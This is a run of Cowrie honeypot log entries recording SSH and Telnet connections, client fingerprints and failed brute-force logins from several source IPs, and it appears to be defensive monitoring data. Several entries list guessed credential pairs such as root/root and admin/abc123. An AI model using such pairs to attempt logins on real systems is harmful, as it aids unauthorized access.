{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:30.606723Z","src_ip":"31.40.204.166","session":"8c1d3bf62483","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:31.652648Z","src_ip":"77.94.47.83","session":"cdee4bc61b18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56220,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb344dcfc36c","protocol":"telnet","message":"New connection: 152.42.224.71:56220 (10.17.0.5:23) [session: eb344dcfc36c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:34.074412Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56236,"dst_ip":"10.17.0.5","dst_port":23,"session":"60a1ab8786b5","protocol":"telnet","message":"New connection: 152.42.224.71:56236 (10.17.0.5:23) [session: 60a1ab8786b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:34.134634Z"}
{"eventid":"cowrie.session.closed","duration":49.00093388557434,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:37.123295Z","src_ip":"152.42.224.71","session":"7e6af959c783","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.176.210.17","src_port":49336,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b4d9ed85cb4","protocol":"ssh","message":"New connection: 179.176.210.17:49336 (10.17.0.5:22) [session: 7b4d9ed85cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:39.250637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:39.256768Z","src_ip":"179.176.210.17","session":"7b4d9ed85cb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:39.402437Z","src_ip":"179.176.210.17","session":"7b4d9ed85cb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.79469132423401,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:39.568215Z","src_ip":"152.42.224.71","session":"809c6efbaa2f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty_123","message":"login attempt [root/Qwerty_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:40.022377Z","src_ip":"179.176.210.17","session":"7b4d9ed85cb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48110,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e56c07ecc20","protocol":"ssh","message":"New connection: 31.40.204.166:48110 (159.203.135.109:22) [session: 9e56c07ecc20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:40.889807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:40.900636Z","src_ip":"31.40.204.166","session":"9e56c07ecc20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":50934,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c4ebe71b8fc","protocol":"ssh","message":"New connection: 103.149.170.125:50934 (159.203.135.109:22) [session: 0c4ebe71b8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:40.924857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:40.933699Z","src_ip":"103.149.170.125","session":"0c4ebe71b8fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:41.021032Z","src_ip":"31.40.204.166","session":"9e56c07ecc20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:41.169956Z","src_ip":"179.176.210.17","session":"7b4d9ed85cb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:41.203330Z","src_ip":"103.149.170.125","session":"0c4ebe71b8fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"password","message":"login attempt [splunk/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:41.609651Z","src_ip":"31.40.204.166","session":"9e56c07ecc20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57080,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad9212b87a19","protocol":"telnet","message":"New connection: 152.42.224.71:57080 (10.17.0.5:23) [session: ad9212b87a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:41.682546Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"metro2033","message":"login attempt [root/metro2033] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:42.009260Z","src_ip":"103.149.170.125","session":"0c4ebe71b8fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:42.794641Z","src_ip":"31.40.204.166","session":"9e56c07ecc20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.644437313079834,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:42.889643Z","src_ip":"152.42.224.71","session":"5dc1c8c0e119","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:43.281131Z","src_ip":"103.149.170.125","session":"0c4ebe71b8fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57092,"dst_ip":"10.17.0.5","dst_port":23,"session":"6618c4bf76b2","protocol":"telnet","message":"New connection: 152.42.224.71:57092 (10.17.0.5:23) [session: 6618c4bf76b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:43.343753Z"}
{"eventid":"cowrie.session.closed","duration":112.03795790672302,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:46.830770Z","src_ip":"152.42.224.71","session":"4c34f31de2e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.46718382835388,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:47.313322Z","src_ip":"152.42.224.71","session":"eb8867084722","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42874,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7ff4299d7f7","protocol":"telnet","message":"New connection: 152.42.224.71:42874 (10.17.0.5:23) [session: e7ff4299d7f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:48.171478Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42890,"dst_ip":"10.17.0.5","dst_port":23,"session":"0218aa2c6e30","protocol":"telnet","message":"New connection: 152.42.224.71:42890 (10.17.0.5:23) [session: 0218aa2c6e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:48.373011Z"}
{"eventid":"cowrie.session.closed","duration":54.24987292289734,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:49.422543Z","src_ip":"152.42.224.71","session":"77815e64cbc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42906,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6dd4810ea90","protocol":"telnet","message":"New connection: 152.42.224.71:42906 (10.17.0.5:23) [session: e6dd4810ea90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:50.589510Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42922,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3f2f2a934cd","protocol":"telnet","message":"New connection: 152.42.224.71:42922 (10.17.0.5:23) [session: b3f2f2a934cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:50.635551Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42936,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc7594e6b875","protocol":"telnet","message":"New connection: 152.42.224.71:42936 (10.17.0.5:23) [session: fc7594e6b875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:51.761016Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45308,"dst_ip":"159.203.135.109","dst_port":22,"session":"97eafea378d7","protocol":"ssh","message":"New connection: 31.40.204.166:45308 (159.203.135.109:22) [session: 97eafea378d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:51.978935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:51.984396Z","src_ip":"31.40.204.166","session":"97eafea378d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:52.113163Z","src_ip":"31.40.204.166","session":"97eafea378d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc123","message":"login attempt [admin/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:52.599690Z","src_ip":"31.40.204.166","session":"97eafea378d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:53.884660Z","src_ip":"31.40.204.166","session":"97eafea378d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.003990650177,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:56.921391Z","src_ip":"152.42.224.71","session":"3bd1fcb6048c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":48088,"dst_ip":"159.203.135.109","dst_port":23,"session":"60af709cac1d","protocol":"telnet","message":"New connection: 176.65.139.118:48088 (159.203.135.109:23) [session: 60af709cac1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:58.931828Z"}
{"eventid":"cowrie.session.closed","duration":41.08098340034485,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:01.524989Z","src_ip":"152.42.224.71","session":"46482cd3fdd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55850,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c50b38e8fc8","protocol":"ssh","message":"New connection: 31.40.204.166:55850 (159.203.135.109:22) [session: 3c50b38e8fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:03.284565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:03.290544Z","src_ip":"31.40.204.166","session":"3c50b38e8fc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:03.416263Z","src_ip":"31.40.204.166","session":"3c50b38e8fc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:03.883543Z","src_ip":"31.40.204.166","session":"3c50b38e8fc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.0543153285980225,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:03.986024Z","src_ip":"176.65.139.118","session":"60af709cac1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.253.68.13","src_port":52262,"dst_ip":"10.17.0.5","dst_port":22,"session":"9dc110e6410a","protocol":"ssh","message":"New connection: 103.253.68.13:52262 (10.17.0.5:22) [session: 9dc110e6410a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:04.077573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:04.082777Z","src_ip":"103.253.68.13","session":"9dc110e6410a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":45114,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fc0dfbce13b","protocol":"telnet","message":"New connection: 176.65.139.118:45114 (159.203.135.109:23) [session: 4fc0dfbce13b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:04.234975Z"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:04.333432Z","src_ip":"103.253.68.13","session":"9dc110e6410a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:05.025120Z","src_ip":"31.40.204.166","session":"3c50b38e8fc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33966,"dst_ip":"10.17.0.5","dst_port":23,"session":"319639d39581","protocol":"telnet","message":"New connection: 152.42.224.71:33966 (10.17.0.5:23) [session: 319639d39581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:12:05.418856Z"}
